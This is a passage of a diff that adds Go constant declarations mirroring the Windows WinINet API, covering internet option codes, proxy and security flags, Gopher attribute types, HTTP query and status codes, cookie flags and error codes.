+	InternetFlagMustCacheRequest                   uintptr = InternetFlagNeedFile
+	InternetFlagTransferAscii                      uintptr = FtpTransferTypeAscii
+	InternetFlagTransferBinary                     uintptr = FtpTransferTypeBinary
+	SecurityInternetMask                           uintptr = (InternetFlagIgnoreCertCnInvalid | InternetFlagIgnoreCertDateInvalid | InternetFlagIgnoreRedirectToHTTPs | InternetFlagIgnoreRedirectToHTTP)
+	InternetFlagsMask                              uintptr = (InternetFlagReload | InternetFlagRawData | InternetFlagExistingConnect | InternetFlagAsync | InternetFlagPassive | InternetFlagNoCacheWrite | InternetFlagMakePersistent | InternetFlagFromCache | InternetFlagSecure | InternetFlagKeepConnection | InternetFlagNoAutoRedirect | InternetFlagReadPrefetch | InternetFlagNoCookies | InternetFlagNoAuth | InternetFlagCacheIfNetFail | SecurityInternetMask | InternetFlagResynchronize | InternetFlagHyperlink | InternetFlagNoUi | InternetFlagPragmaNocache | InternetFlagCacheAsync | InternetFlagFormsSubmit | InternetFlagNeedFile | InternetFlagRestrictedZone | InternetFlagTransferBinary | InternetFlagTransferAscii | InternetFlagFwdBack)
+	InternetErrorMaskInsertCdrom                   uintptr = 0x1
+	InternetErrorMaskCombinedSecCert               uintptr = 0x2
+	InternetErrorMaskNeedMsnSspiPkg                uintptr = 0x4
+	InternetErrorMaskLoginFailureDisplayEntityBody uintptr = 0x8
+	WininetApiFlagAsync                            uintptr = 0x00000001
+	WininetApiFlagSync                             uintptr = 0x00000004
+	WininetApiFlagUseContext                       uintptr = 0x00000008
+	InternetNoCallback                             uintptr = 0
+	IdsiFlagKeepAlive                              uintptr = 0x00000001
+	IdsiFlagSecure                                 uintptr = 0x00000002
+	IdsiFlagProxy                                  uintptr = 0x00000004
+	IdsiFlagTunnel                                 uintptr = 0x00000008
+	InternetPerConnFlags                           uintptr = 1
+	InternetPerConnProxyServer                     uintptr = 2
+	InternetPerConnProxyBypass                     uintptr = 3
+	InternetPerConnAutoconfigUrl                   uintptr = 4
+	InternetPerConnAutodiscoveryFlags              uintptr = 5
+	InternetPerConnAutoconfigSecondaryUrl          uintptr = 6
+	InternetPerConnAutoconfigReloadDelayMins       uintptr = 7
+	InternetPerConnAutoconfigLastDetectTime        uintptr = 8
+	InternetPerConnAutoconfigLastDetectUrl         uintptr = 9
+	InternetPerConnFlagsUi                         uintptr = 10
+	ProxyTypeDirect                                uintptr = 0x00000001
+	ProxyTypeProxy                                 uintptr = 0x00000002
+	ProxyTypeAutoProxyUrl                          uintptr = 0x00000004
+	ProxyTypeAutoDetect                            uintptr = 0x00000008
+	AutoProxyFlagUserSet                           uintptr = 0x00000001
+	AutoProxyFlagAlwaysDetect                      uintptr = 0x00000002
+	AutoProxyFlagDetectionRun                      uintptr = 0x00000004
+	AutoProxyFlagMigrated                          uintptr = 0x00000008
+	AutoProxyFlagDontCacheProxyResult              uintptr = 0x00000010
+	AutoProxyFlagCacheInitRun                      uintptr = 0x00000020
+	AutoProxyFlagDetectionSuspect                  uintptr = 0x00000040
+	IsoForceDisconnected                           uintptr = 0x00000001
+	InternetRfc1123Format                          uintptr = 0
+	InternetRfc1123Bufsize                         uintptr = 30
+	IcuEscape                                      uintptr = 0x80000000
+	IcuUsername                                    uintptr = 0x40000000
+	IcuNoEncode                                    uintptr = 0x20000000
+	IcuDecode                                      uintptr = 0x10000000
+	IcuNoMeta                                      uintptr = 0x08000000
+	IcuEncodeSpacesOnly                            uintptr = 0x04000000
+	IcuBrowserMode                                 uintptr = 0x02000000
+	IcuEncodePercent                               uintptr = 0x00001000
+	InternetOpenTypePreconfig                      uintptr = 0
+	InternetOpenTypeDirect                         uintptr = 1
+	InternetOpenTypeProxy                          uintptr = 3
+	InternetOpenTypePreconfigWithNoAutoproxy       uintptr = 4
+	PreConfigInternetAccess                        uintptr = InternetOpenTypePreconfig
+	LocalInternetAccess                            uintptr = InternetOpenTypeDirect
+	CernProxyInternetAccess                        uintptr = InternetOpenTypeProxy
+	InternetServiceFtp                             uintptr = 1
+	InternetServiceGopher                          uintptr = 2
+	InternetServiceHTTP                            uintptr = 3
+	IrfAsync                                       uintptr = WininetApiFlagAsync
+	IrfSync                                        uintptr = WininetApiFlagSync
+	IrfUseContext                                  uintptr = WininetApiFlagUseContext
+	IrfNoWait                                      uintptr = 0x00000008
+	IsoGlobal                                      uintptr = 0x00000001
+	IsoRegistry                                    uintptr = 0x00000002
+	IsoValidFlags                                  uintptr = (IsoGlobal | IsoRegistry)
+	InternetOptionCallback                         uintptr = 1
+	InternetOptionConnectTimeout                   uintptr = 2
+	InternetOptionConnectRetries                   uintptr = 3
+	InternetOptionConnectBackoff                   uintptr = 4
+	InternetOptionSendTimeout                      uintptr = 5
+	InternetOptionControlSendTimeout               uintptr = InternetOptionSendTimeout
+	InternetOptionReceiveTimeout                   uintptr = 6
+	InternetOptionControlReceiveTimeout            uintptr = InternetOptionReceiveTimeout
+	InternetOptionDataSendTimeout                  uintptr = 7
+	InternetOptionDataReceiveTimeout               uintptr = 8
+	InternetOptionHandleType                       uintptr = 9
+	InternetOptionListenTimeout                    uintptr = 11
+	InternetOptionReadBufferSize                   uintptr = 12
+	InternetOptionWriteBufferSize                  uintptr = 13
+	InternetOptionAsyncId                          uintptr = 15
+	InternetOptionAsyncPriority                    uintptr = 16
+	InternetOptionParentHandle                     uintptr = 21
+	InternetOptionKeepConnection                   uintptr = 22
+	InternetOptionRequestFlags                     uintptr = 23
+	InternetOptionExtendedError                    uintptr = 24
+	InternetOptionOfflineMode                      uintptr = 26
+	InternetOptionCacheStreamHandle                uintptr = 27
+	InternetOptionUsername                         uintptr = 28
+	InternetOptionPassword                         uintptr = 29
+	InternetOptionAsync                            uintptr = 30
+	InternetOptionSecurityFlags                    uintptr = 31
+	InternetOptionSecurityCertificateStruct        uintptr = 32
+	InternetOptionDatafileName                     uintptr = 33
+	InternetOptionUrl                              uintptr = 34
+	InternetOptionSecurityCertificate              uintptr = 35
+	InternetOptionSecurityKeyBitness               uintptr = 36
+	InternetOptionRefresh                          uintptr = 37
+	InternetOptionProxy                            uintptr = 38
+	InternetOptionSettingsChanged                  uintptr = 39
+	InternetOptionVersion                          uintptr = 40
+	InternetOptionUserAgent                        uintptr = 41
+	InternetOptionEndBrowserSession                uintptr = 42
+	InternetOptionProxyUsername                    uintptr = 43
+	InternetOptionProxyPassword                    uintptr = 44
+	InternetOptionContextValue                     uintptr = 45
+	InternetOptionConnectLimit                     uintptr = 46
+	InternetOptionSecuritySelectClientCert         uintptr = 47
+	InternetOptionPolicy                           uintptr = 48
+	InternetOptionDisconnectedTimeout              uintptr = 49
+	InternetOptionConnectedState                   uintptr = 50
+	InternetOptionIdleState                        uintptr = 51
+	InternetOptionOfflineSemantics                 uintptr = 52
+	InternetOptionSecondaryCacheKey                uintptr = 53
+	InternetOptionCallbackFilter                   uintptr = 54
+	InternetOptionConnectTime                      uintptr = 55
+	InternetOptionSendThroughput                   uintptr = 56
+	InternetOptionReceiveThroughput                uintptr = 57
+	InternetOptionRequestPriority                  uintptr = 58
+	InternetOptionHTTPVersion                      uintptr = 59
+	InternetOptionResetUrlcacheSession             uintptr = 60
+	InternetOptionErrorMask                        uintptr = 62
+	InternetOptionFromCacheTimeout                 uintptr = 63
+	InternetOptionBypassEditedEntry                uintptr = 64
+	InternetOptionDiagnosticSocketInfo             uintptr = 67
+	InternetOptionCodepage                         uintptr = 68
+	InternetOptionCacheTimestamps                  uintptr = 69
+	InternetOptionDisableAutodial                  uintptr = 70
+	InternetOptionMaxConnsPerServer                uintptr = 73
+	InternetOptionMaxConnsPer10Server              uintptr = 74
+	InternetOptionPerConnectionOption              uintptr = 75
+	InternetOptionDigestAuthUnload                 uintptr = 76
+	InternetOptionIgnoreOffline                    uintptr = 77
+	InternetOptionIdentity                         uintptr = 78
+	InternetOptionRemoveIdentity                   uintptr = 79
+	InternetOptionAlterIdentity                    uintptr = 80
+	InternetOptionSuppressBehavior                 uintptr = 81
+	InternetOptionAutodialMode                     uintptr = 82
+	InternetOptionAutodialConnection               uintptr = 83
+	InternetOptionClientCertContext                uintptr = 84
+	InternetOptionAuthFlags                        uintptr = 85
+	InternetOptionCookies3rdParty                  uintptr = 86
+	InternetOptionDisablePassportAuth              uintptr = 87
+	InternetOptionSendUtf8ServernameToProxy        uintptr = 88
+	InternetOptionExemptConnectionLimit            uintptr = 89
+	InternetOptionEnablePassportAuth               uintptr = 90
+	InternetOptionHibernateInactiveWorkerThreads   uintptr = 91
+	InternetOptionActivateWorkerThreads            uintptr = 92
+	InternetOptionRestoreWorkerThreadDefaults      uintptr = 93
+	InternetOptionSocketSendBufferLength           uintptr = 94
+	InternetOptionProxySettingsChanged             uintptr = 95
+	InternetOptionDatafileExt                      uintptr = 96
+	InternetFirstOption                            uintptr = InternetOptionCallback
+	InternetLastOption                             uintptr = InternetOptionDatafileExt
+	InternetPriorityForeground                     uintptr = 1000
+	InternetHandleTypeInternet                     uintptr = 1
+	InternetHandleTypeConnectFtp                   uintptr = 2
+	InternetHandleTypeConnectGopher                uintptr = 3
+	InternetHandleTypeConnectHTTP                  uintptr = 4
+	InternetHandleTypeFtpFind                      uintptr = 5
+	InternetHandleTypeFtpFindHtml                  uintptr = 6
+	InternetHandleTypeFtpFile                      uintptr = 7
+	InternetHandleTypeFtpFileHtml                  uintptr = 8
+	InternetHandleTypeGopherFind                   uintptr = 9
+	InternetHandleTypeGopherFindHtml               uintptr = 10
+	InternetHandleTypeGopherFile                   uintptr = 11
+	InternetHandleTypeGopherFileHtml               uintptr = 12
+	InternetHandleTypeHTTPRequest                  uintptr = 13
+	InternetHandleTypeFileRequest                  uintptr = 14
+	AuthFlagDisableNegotiate                       uintptr = 0x00000001
+	AuthFlagEnableNegotiate                        uintptr = 0x00000002
+	AuthFlagDisableBasicClearchannel               uintptr = 0x00000004
+	SecurityFlagSecure                             uintptr = 0x00000001
+	SecurityFlagStrengthWeak                       uintptr = 0x10000000
+	SecurityFlagStrengthMedium                     uintptr = 0x40000000
+	SecurityFlagStrengthStrong                     uintptr = 0x20000000
+	SecurityFlagUnknownbit                         uintptr = 0x80000000
+	SecurityFlagFortezza                           uintptr = 0x08000000
+	SecurityFlagNormalbitness                      uintptr = SecurityFlagStrengthWeak
+	SecurityFlagSsl                                uintptr = 0x00000002
+	SecurityFlagSsl3                               uintptr = 0x00000004
+	SecurityFlagPct                                uintptr = 0x00000008
+	SecurityFlagPct4                               uintptr = 0x00000010
+	SecurityFlagIetfssl4                           uintptr = 0x00000020
+	SecurityFlag40bit                              uintptr = SecurityFlagStrengthWeak
+	SecurityFlag128bit                             uintptr = SecurityFlagStrengthStrong
+	SecurityFlag56bit                              uintptr = SecurityFlagStrengthMedium
+	SecurityFlagIgnoreRevocation                   uintptr = 0x00000080
+	SecurityFlagIgnoreUnknownCa                    uintptr = 0x00000100
+	SecurityFlagIgnoreWrongUsage                   uintptr = 0x00000200
+	SecurityFlagIgnoreCertCnInvalid                uintptr = InternetFlagIgnoreCertCnInvalid
+	SecurityFlagIgnoreCertDateInvalid              uintptr = InternetFlagIgnoreCertDateInvalid
+	SecurityFlagIgnoreRedirectToHTTPs              uintptr = InternetFlagIgnoreRedirectToHTTPs
+	SecurityFlagIgnoreRedirectToHTTP               uintptr = InternetFlagIgnoreRedirectToHTTP
+	SecuritySetMask                                uintptr = (SecurityFlagIgnoreRevocation | SecurityFlagIgnoreUnknownCa | SecurityFlagIgnoreCertCnInvalid | SecurityFlagIgnoreCertDateInvalid | SecurityFlagIgnoreWrongUsage)
+	AutodialModeNever                              uintptr = 1
+	AutodialModeAlways                             uintptr = 2
+	AutodialModeNoNetworkPresent                   uintptr = 4
+	InternetStatusResolvingName                    uintptr = 10
+	InternetStatusNameResolved                     uintptr = 11
+	InternetStatusConnectingToServer               uintptr = 20
+	InternetStatusConnectedToServer                uintptr = 21
+	InternetStatusSendingRequest                   uintptr = 30
+	InternetStatusRequestSent                      uintptr = 31
+	InternetStatusReceivingResponse                uintptr = 40
+	InternetStatusResponseReceived                 uintptr = 41
+	InternetStatusCtlResponseReceived              uintptr = 42
+	InternetStatusPrefetch                         uintptr = 43
+	InternetStatusClosingConnection                uintptr = 50
+	InternetStatusConnectionClosed                 uintptr = 51
+	InternetStatusHandleCreated                    uintptr = 60
+	InternetStatusHandleClosing                    uintptr = 70
+	InternetStatusDetectingProxy                   uintptr = 80
+	InternetStatusRequestComplete                  uintptr = 100
+	InternetStatusRedirect                         uintptr = 110
+	InternetStatusIntermediateResponse             uintptr = 120
+	InternetStatusUserInputRequired                uintptr = 140
+	InternetStatusStateChange                      uintptr = 200
+	InternetStatusCookieSent                       uintptr = 320
+	InternetStatusCookieReceived                   uintptr = 321
+	InternetStatusPrivacyImpacted                  uintptr = 324
+	InternetStatusP3pHeader                        uintptr = 325
+	InternetStatusP3pPolicyref                     uintptr = 326
+	InternetStatusCookieHistory                    uintptr = 327
+	InternetStateConnected                         uintptr = 0x00000001
+	InternetStateDisconnected                      uintptr = 0x00000002
+	InternetStateDisconnectedByUser                uintptr = 0x00000010
+	InternetStateIdle                              uintptr = 0x00000100
+	InternetStateBusy                              uintptr = 0x00000200
+	FtpTransferTypeUnknown                         uintptr = 0x00000000
+	FtpTransferTypeAscii                           uintptr = 0x00000001
+	FtpTransferTypeBinary                          uintptr = 0x00000002
+	FtpTransferTypeMask                            uintptr = (FtpTransferTypeAscii | FtpTransferTypeBinary)
+	MaxGopherDisplayText                           uintptr = 128
+	MaxGopherSelectorText                          uintptr = 256
+	MaxGopherHostName                              uintptr = InternetMaxHostNameLength
+	MaxGopherLocatorLength                         uintptr = (1 + MaxGopherDisplayText + 1 + MaxGopherSelectorText + 1 + MaxGopherHostName + 1 + InternetMaxPortNumberLength + 1 + 1 + 2)
+	GopherTypeTextFile                             uintptr = 0x00000001
+	GopherTypeDirectory                            uintptr = 0x00000002
+	GopherTypeCso                                  uintptr = 0x00000004
+	GopherTypeError                                uintptr = 0x00000008
+	GopherTypeMacBinhex                            uintptr = 0x00000010
+	GopherTypeDosArchive                           uintptr = 0x00000020
+	GopherTypeUnixUuencoded                        uintptr = 0x00000040
+	GopherTypeIndexServer                          uintptr = 0x00000080
+	GopherTypeTelnet                               uintptr = 0x00000100
+	GopherTypeBinary                               uintptr = 0x00000200
+	GopherTypeRedundant                            uintptr = 0x00000400
+	GopherTypeTn3270                               uintptr = 0x00000800
+	GopherTypeGif                                  uintptr = 0x00001000
+	GopherTypeImage                                uintptr = 0x00002000
+	GopherTypeBitmap                               uintptr = 0x00004000
+	GopherTypeMovie                                uintptr = 0x00008000
+	GopherTypeSound                                uintptr = 0x00010000
+	GopherTypeHtml                                 uintptr = 0x00020000
+	GopherTypePdf                                  uintptr = 0x00040000
+	GopherTypeCalendar                             uintptr = 0x00080000
+	GopherTypeInline                               uintptr = 0x00100000
+	GopherTypeUnknown                              uintptr = 0x20000000
+	GopherTypeAsk                                  uintptr = 0x40000000
+	GopherTypeGopherPlus                           uintptr = 0x80000000
+	GopherTypeFileMask                             uintptr = (GopherTypeTextFile | GopherTypeMacBinhex | GopherTypeDosArchive | GopherTypeUnixUuencoded | GopherTypeBinary | GopherTypeGif | GopherTypeImage | GopherTypeBitmap | GopherTypeMovie | GopherTypeSound | GopherTypeHtml | GopherTypePdf | GopherTypeCalendar | GopherTypeInline)
+	MaxGopherCategoryName                          uintptr = 128
+	MaxGopherAttributeName                         uintptr = 128
+	MinGopherAttributeLength                       uintptr = 256
+	GopherInfoCategory                             string  = "+INFO"
+	GopherAdminCategory                            string  = "+ADMIN"
+	GopherViewsCategory                            string  = "+VIEWS"
+	GopherAbstractCategory                         string  = "+ABSTRACT"
+	GopherVeronicaCategory                         string  = "+VERONICA"
+	GopherAdminAttribute                           string  = "Admin"
+	GopherModDateAttribute                         string  = "Mod-Date"
+	GopherTtlAttribute                             string  = "TTL"
+	GopherScoreAttribute                           string  = "Score"
+	GopherRangeAttribute                           string  = "Score-range"
+	GopherSiteAttribute                            string  = "Site"
+	GopherOrgAttribute                             string  = "Org"
+	GopherLocationAttribute                        string  = "Loc"
+	GopherGeogAttribute                            string  = "Geog"
+	GopherTimezoneAttribute                        string  = "TZ"
+	GopherProviderAttribute                        string  = "Provider"
+	GopherVersionAttribute                         string  = "Version"
+	GopherAbstractAttribute                        string  = "Abstract"
+	GopherViewAttribute                            string  = "View"
+	GopherTreewalkAttribute                        string  = "treewalk"
+	GopherAttributeIdBase                          uintptr = 0xabcccc00
+	GopherCategoryIdAll                            uintptr = (GopherAttributeIdBase + 1)
+	GopherCategoryIdInfo                           uintptr = (GopherAttributeIdBase + 2)
+	GopherCategoryIdAdmin                          uintptr = (GopherAttributeIdBase + 3)
+	GopherCategoryIdViews                          uintptr = (GopherAttributeIdBase + 4)
+	GopherCategoryIdAbstract                       uintptr = (GopherAttributeIdBase + 5)
+	GopherCategoryIdVeronica                       uintptr = (GopherAttributeIdBase + 6)
+	GopherCategoryIdAsk                            uintptr = (GopherAttributeIdBase + 7)
+	GopherCategoryIdUnknown                        uintptr = (GopherAttributeIdBase + 8)
+	GopherAttributeIdAll                           uintptr = (GopherAttributeIdBase + 9)
+	GopherAttributeIdAdmin                         uintptr = (GopherAttributeIdBase + 10)
+	GopherAttributeIdModDate                       uintptr = (GopherAttributeIdBase + 11)
+	GopherAttributeIdTtl                           uintptr = (GopherAttributeIdBase + 12)
+	GopherAttributeIdScore                         uintptr = (GopherAttributeIdBase + 13)
+	GopherAttributeIdRange                         uintptr = (GopherAttributeIdBase + 14)
+	GopherAttributeIdSite                          uintptr = (GopherAttributeIdBase + 15)
+	GopherAttributeIdOrg                           uintptr = (GopherAttributeIdBase + 16)
+	GopherAttributeIdLocation                      uintptr = (GopherAttributeIdBase + 17)
+	GopherAttributeIdGeog                          uintptr = (GopherAttributeIdBase + 18)
+	GopherAttributeIdTimezone                      uintptr = (GopherAttributeIdBase + 19)
+	GopherAttributeIdProvider                      uintptr = (GopherAttributeIdBase + 20)
+	GopherAttributeIdVersion                       uintptr = (GopherAttributeIdBase + 21)
+	GopherAttributeIdAbstract                      uintptr = (GopherAttributeIdBase + 22)
+	GopherAttributeIdView                          uintptr = (GopherAttributeIdBase + 23)
+	GopherAttributeIdTreewalk                      uintptr = (GopherAttributeIdBase + 24)
+	GopherAttributeIdUnknown                       uintptr = (GopherAttributeIdBase + 25)
+	HTTPMajorVersion                               uintptr = 1
+	HTTPMinorVersion                               uintptr = 0
+	HTTPVersiona                                   string  = "HTTP/1.0"
+	HTTPVersionw                                   string  = "HTTP/1.0"
+	HTTPQueryMimeVersion                           uintptr = 0
+	HTTPQueryContentType                           uintptr = 1
+	HTTPQueryContentTransferEncoding               uintptr = 2
+	HTTPQueryContentId                             uintptr = 3
+	HTTPQueryContentDescription                    uintptr = 4
+	HTTPQueryContentLength                         uintptr = 5
+	HTTPQueryContentLanguage                       uintptr = 6
+	HTTPQueryAllow                                 uintptr = 7
+	HTTPQueryPublic                                uintptr = 8
+	HTTPQueryDate                                  uintptr = 9
+	HTTPQueryExpires                               uintptr = 10
+	HTTPQueryLastModified                          uintptr = 11
+	HTTPQueryMessageId                             uintptr = 12
+	HTTPQueryUri                                   uintptr = 13
+	HTTPQueryDerivedFrom                           uintptr = 14
+	HTTPQueryCost                                  uintptr = 15
+	HTTPQueryLink                                  uintptr = 16
+	HTTPQueryPragma                                uintptr = 17
+	HTTPQueryVersion                               uintptr = 18
+	HTTPQueryStatusCode                            uintptr = 19
+	HTTPQueryStatusText                            uintptr = 20
+	HTTPQueryRawHeaders                            uintptr = 21
+	HTTPQueryRawHeadersCRLF                        uintptr = 22
+	HTTPQueryConnection                            uintptr = 23
+	HTTPQueryAccept                                uintptr = 24
+	HTTPQueryAcceptCharset                         uintptr = 25
+	HTTPQueryAcceptEncoding                        uintptr = 26
+	HTTPQueryAcceptLanguage                        uintptr = 27
+	HTTPQueryAuthorization                         uintptr = 28
+	HTTPQueryContentEncoding                       uintptr = 29
+	HTTPQueryForwarded                             uintptr = 30
+	HTTPQueryFrom                                  uintptr = 31
+	HTTPQueryIfModifiedSince                       uintptr = 32
+	HTTPQueryLocation                              uintptr = 33
+	HTTPQueryOrigUri                               uintptr = 34
+	HTTPQueryReferer                               uintptr = 35
+	HTTPQueryRetryAfter                            uintptr = 36
+	HTTPQueryServer                                uintptr = 37
+	HTTPQueryTitle                                 uintptr = 38
+	HTTPQueryUserAgent                             uintptr = 39
+	HTTPQueryWwwAuthenticate                       uintptr = 40
+	HTTPQueryProxyAuthenticate                     uintptr = 41
+	HTTPQueryAcceptRanges                          uintptr = 42
+	HTTPQuerySetCookie                             uintptr = 43
+	HTTPQueryCookie                                uintptr = 44
+	HTTPQueryRequestMethod                         uintptr = 45
+	HTTPQueryRefresh                               uintptr = 46
+	HTTPQueryContentDisposition                    uintptr = 47
+	HTTPQueryAge                                   uintptr = 48
+	HTTPQueryCacheControl                          uintptr = 49
+	HTTPQueryContentBase                           uintptr = 50
+	HTTPQueryContentLocation                       uintptr = 51
+	HTTPQueryContentMd5                            uintptr = 52
+	HTTPQueryContentRange                          uintptr = 53
+	HTTPQueryEtag                                  uintptr = 54
+	HTTPQueryHost                                  uintptr = 55
+	HTTPQueryIfMatch                               uintptr = 56
+	HTTPQueryIfNoneMatch                           uintptr = 57
+	HTTPQueryIfRange                               uintptr = 58
+	HTTPQueryIfUnmodifiedSince                     uintptr = 59
+	HTTPQueryMaxForwards                           uintptr = 60
+	HTTPQueryProxyAuthorization                    uintptr = 61
+	HTTPQueryRange                                 uintptr = 62
+	HTTPQueryTransferEncoding                      uintptr = 63
+	HTTPQueryUpgrade                               uintptr = 64
+	HTTPQueryVary                                  uintptr = 65
+	HTTPQueryVia                                   uintptr = 66
+	HTTPQueryWarning                               uintptr = 67
+	HTTPQueryExpect                                uintptr = 68
+	HTTPQueryProxyConnection                       uintptr = 69
+	HTTPQueryUnlessModifiedSince                   uintptr = 70
+	HTTPQueryEchoRequest                           uintptr = 71
+	HTTPQueryEchoReply                             uintptr = 72
+	HTTPQueryEchoHeaders                           uintptr = 73
+	HTTPQueryEchoHeadersCRLF                       uintptr = 74
+	HTTPQueryProxySupport                          uintptr = 75
+	HTTPQueryAuthenticationInfo                    uintptr = 76
+	HTTPQueryPassportUrls                          uintptr = 77
+	HTTPQueryPassportConfig                        uintptr = 78
+	HTTPQueryMax                                   uintptr = 78
+	HTTPQueryCustom                                uintptr = 65535
+	HTTPQueryFlagRequestHeaders                    uintptr = 0x80000000
+	HTTPQueryFlagSystemtime                        uintptr = 0x40000000
+	HTTPQueryFlagNumber                            uintptr = 0x20000000
+	HTTPQueryFlagCoalesce                          uintptr = 0x10000000
+	HTTPQueryModifierFlagsMask                     uintptr = (HTTPQueryFlagRequestHeaders | HTTPQueryFlagSystemtime | HTTPQueryFlagNumber | HTTPQueryFlagCoalesce)
+	HTTPStatusContinue                             uintptr = 100
+	HTTPStatusSwitchProtocols                      uintptr = 101
+	HTTPStatusOk                                   uintptr = 200
+	HTTPStatusCreated                              uintptr = 201
+	HTTPStatusAccepted                             uintptr = 202
+	HTTPStatusPartial                              uintptr = 203
+	HTTPStatusNoContent                            uintptr = 204
+	HTTPStatusResetContent                         uintptr = 205
+	HTTPStatusPartialContent                       uintptr = 206
+	HTTPStatusAmbiguous                            uintptr = 300
+	HTTPStatusMoved                                uintptr = 301
+	HTTPStatusRedirect                             uintptr = 302
+	HTTPStatusRedirectMethod                       uintptr = 303
+	HTTPStatusNotModified                          uintptr = 304
+	HTTPStatusUseProxy                             uintptr = 305
+	HTTPStatusRedirectKeepVerb                     uintptr = 307
+	HTTPStatusBadRequest                           uintptr = 400
+	HTTPStatusDenied                               uintptr = 401
+	HTTPStatusPaymentReq                           uintptr = 402
+	HTTPStatusForbidden                            uintptr = 403
+	HTTPStatusNotFound                             uintptr = 404
+	HTTPStatusBadMethod                            uintptr = 405
+	HTTPStatusNoneAcceptable                       uintptr = 406
+	HTTPStatusProxyAuthReq                         uintptr = 407
+	HTTPStatusRequestTimeout                       uintptr = 408
+	HTTPStatusConflict                             uintptr = 409
+	HTTPStatusGone                                 uintptr = 410
+	HTTPStatusLengthRequired                       uintptr = 411
+	HTTPStatusPrecondFailed                        uintptr = 412
+	HTTPStatusRequestTooLarge                      uintptr = 413
+	HTTPStatusUriTooLong                           uintptr = 414
+	HTTPStatusUnsupportedMedia                     uintptr = 415
+	HTTPStatusRetryWith                            uintptr = 449
+	HTTPStatusServerError                          uintptr = 500
+	HTTPStatusNotSupported                         uintptr = 501
+	HTTPStatusBadGateway                           uintptr = 502
+	HTTPStatusServiceUnavail                       uintptr = 503
+	HTTPStatusGatewayTimeout                       uintptr = 504
+	HTTPStatusVersionNotSup                        uintptr = 505
+	HTTPStatusFirst                                uintptr = HTTPStatusContinue
+	HTTPStatusLast                                 uintptr = HTTPStatusVersionNotSup
+	HTTPAddreqIndexMask                            uintptr = 0x0000FFFF
+	HTTPAddreqFlagsMask                            uintptr = 0xFFFF0000
+	HTTPAddreqFlagAddIfNew                         uintptr = 0x10000000
+	HTTPAddreqFlagAdd                              uintptr = 0x20000000
+	HTTPAddreqFlagCoalesceWithComma                uintptr = 0x40000000
+	HTTPAddreqFlagCoalesceWithSemicolon            uintptr = 0x01000000
+	HTTPAddreqFlagCoalesce                         uintptr = HTTPAddreqFlagCoalesceWithComma
+	HTTPAddreqFlagReplace                          uintptr = 0x80000000
+	HsrAsync                                       uintptr = WininetApiFlagAsync
+	HsrSync                                        uintptr = WininetApiFlagSync
+	HsrUseContext                                  uintptr = WininetApiFlagUseContext
+	HsrInitiate                                    uintptr = 0x00000008
+	HsrDownload                                    uintptr = 0x00000010
+	HsrChunked                                     uintptr = 0x00000020
+	InternetCookieIsSecure                         uintptr = 0x01
+	InternetCookieIsSession                        uintptr = 0x02
+	InternetCookieThirdParty                       uintptr = 0x10
+	InternetCookiePromptRequired                   uintptr = 0x20
+	InternetCookieEvaluateP3p                      uintptr = 0x40
+	InternetCookieApplyP3p                         uintptr = 0x80
+	InternetCookieP3pEnabled                       uintptr = 0x100
+	InternetCookieIsRestricted                     uintptr = 0x200
+	InternetCookieIe6                              uintptr = 0x400
+	InternetCookieIsLegacy                         uintptr = 0x800
+	FlagIccForceConnection                         uintptr = 0x00000001
+	FlagsErrorUiFilterForErrors                    uintptr = 0x01
+	FlagsErrorUiFlagsChangeOptions                 uintptr = 0x02
+	FlagsErrorUiFlagsGenerateData                  uintptr = 0x04
+	FlagsErrorUiFlagsNoUi                          uintptr = 0x08
+	FlagsErrorUiSerializeDialogs                   uintptr = 0x10
+	InternetErrorBase                              uintptr = 12000
+	ErrorInternetOutOfHandles                      uintptr = (InternetErrorBase + 1)
+	ErrorInternetTimeout                           uintptr = (InternetErrorBase + 2)
+	ErrorInternetExtendedError                     uintptr = (InternetErrorBase + 3)
+	ErrorInternetInternalError                     uintptr = (InternetErrorBase + 4)
+	ErrorInternetInvalidUrl                        uintptr = (InternetErrorBase + 5)
+	ErrorInternetUnrecognizedScheme                uintptr = (InternetErrorBase + 6)
+	ErrorInternetNameNotResolved                   uintptr = (InternetErrorBase + 7)
+	ErrorInternetProtocolNotFound                  uintptr = (InternetErrorBase + 8)
+	ErrorInternetInvalidOption                     uintptr = (InternetErrorBase + 9)
+	ErrorInternetBadOptionLength                   uintptr = (InternetErrorBase + 10)
+	ErrorInternetOptionNotSettable                 uintptr = (InternetErrorBase + 11)
+	ErrorInternetShutdown                          uintptr = (InternetErrorBase + 12)
+	ErrorInternetIncorrectUserName                 uintptr = (InternetErrorBase + 13)
+	ErrorInternetIncorrectPassword                 uintptr = (InternetErrorBase + 14)
+	ErrorInternetLoginFailure                      uintptr = (InternetErrorBase + 15)
+	ErrorInternetInvalidOperation                  uintptr = (InternetErrorBase + 16)
+	ErrorInternetOperationCancelled                uintptr = (InternetErrorBase + 17)
+	ErrorInternetIncorrectHandleType               uintptr = (InternetErrorBase + 18)
+	ErrorInternetIncorrectHandleState              uintptr = (InternetErrorBase + 19)
+	ErrorInternetNotProxyRequest                   uintptr = (InternetErrorBase + 20)
+	ErrorInternetRegistryValueNotFound             uintptr = (InternetErrorBase + 21)
+	ErrorInternetBadRegistryParameter              uintptr = (InternetErrorBase + 22)
+	ErrorInternetNoDirectAccess                    uintptr = (InternetErrorBase + 23)
+	ErrorInternetNoContext                         uintptr = (InternetErrorBase + 24)
+	ErrorInternetNoCallback                        uintptr = (InternetErrorBase + 25)
+	ErrorInternetRequestPending                    uintptr = (InternetErrorBase + 26)
+	ErrorInternetIncorrectFormat                   uintptr = (InternetErrorBase + 27)
+	ErrorInternetItemNotFound                      uintptr = (InternetErrorBase + 28)
+	ErrorInternetCannotConnect                     uintptr = (InternetErrorBase + 29)
+	ErrorInternetConnectionAborted                 uintptr = (InternetErrorBase + 30)
+	ErrorInternetConnectionReset                   uintptr = (InternetErrorBase + 31)
+	ErrorInternetForceRetry                        uintptr = (InternetErrorBase + 32)
+	ErrorInternetInvalidProxyRequest               uintptr = (InternetErrorBase + 33)
+	ErrorInternetNeedUi                            uintptr = (InternetErrorBase + 34)
+	ErrorInternetHandleExists                      uintptr = (InternetErrorBase + 36)
+	ErrorInternetSecCertDateInvalid                uintptr = (InternetErrorBase + 37)
+	ErrorInternetSecCertCnInvalid                  uintptr = (InternetErrorBase + 38)
+	ErrorInternetHTTPToHTTPsOnRedir                uintptr = (InternetErrorBase + 39)
+	ErrorInternetHTTPsToHTTPOnRedir                uintptr = (InternetErrorBase + 40)
+	ErrorInternetMixedSecurity                     uintptr = (InternetErrorBase + 41)
+	ErrorInternetChgPostIsNonSecure                uintptr = (InternetErrorBase + 42)
+	ErrorInternetPostIsNonSecure                   uintptr = (InternetErrorBase + 43)
